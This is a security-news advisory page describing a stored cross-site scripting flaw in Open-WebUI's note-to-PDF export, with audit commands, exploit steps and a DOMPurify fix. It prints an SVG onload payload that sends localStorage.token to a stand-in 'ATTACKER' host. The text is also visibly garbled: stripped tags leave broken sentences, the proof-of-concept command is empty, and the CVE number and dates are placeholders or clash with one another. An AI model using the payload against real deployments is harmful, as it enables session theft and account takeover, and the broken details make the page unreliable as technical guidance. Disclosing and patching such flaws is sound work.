Open-WebUI, Stored Cross-Site Scripting Vulnerability, CVE-2024-XXXX (High)

Listen to this Post

This vulnerability exists in the `downloadPdf()` function within /src/lib/components/notes/utils.ts. The function creates a temporary `div` element and directly assigns user-controlled HTML from `note.data.content.html` to the `innerHTML` property without sanitization (line 35). The root cause is twofold. First, the TipTap editor configuration lacks a defined schema, allowing dangerous tags like `` and `innerHTML. When a victim downloads a note containing malicious SVG markup (e.g., <svg onload="navigator.sendBeacon('ATTACKER',localStorage.token)">) as a PDF, the embedded JavaScript executes in the victim's browser context, leading to session token theft. Platform: Open-WebUI Version: v0.6.36 Vulnerability: Stored XSS Severity: High date: 2024-XX-XX

Prediction: 2024-09-15

What Undercode Say:

Analytics

grep -r "innerHTML" src/lib/components/notes/
// Vulnerable code snippet
const contentNode = document.createElement('div');
contentNode.innerHTML = html;
Check for DOMPurify import
find . -name ".ts" -exec grep -l "DOMPurify" {} \;

How Exploit:

  1. Craft malicious markdown file: `echo '' > poc.md`

2. Authenticate to Open-WebUI.

3. Import `poc.md` into Notes.

4. Victim downloads note as PDF.

5. JavaScript payload executes, stealing `localStorage.token`.

Protection from this CVE

import DOMPurify from 'dompurify';
contentNode.innerHTML = DOMPurify.sanitize(html, {FORBID_TAGS: ['svg', 'script'], FORBID_ATTR: ['onload']});

Update TipTap schema.

Validate/sanitize before storage.

Impact:

Session hijacking.

Full account compromise.

Privilege escalation possible.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top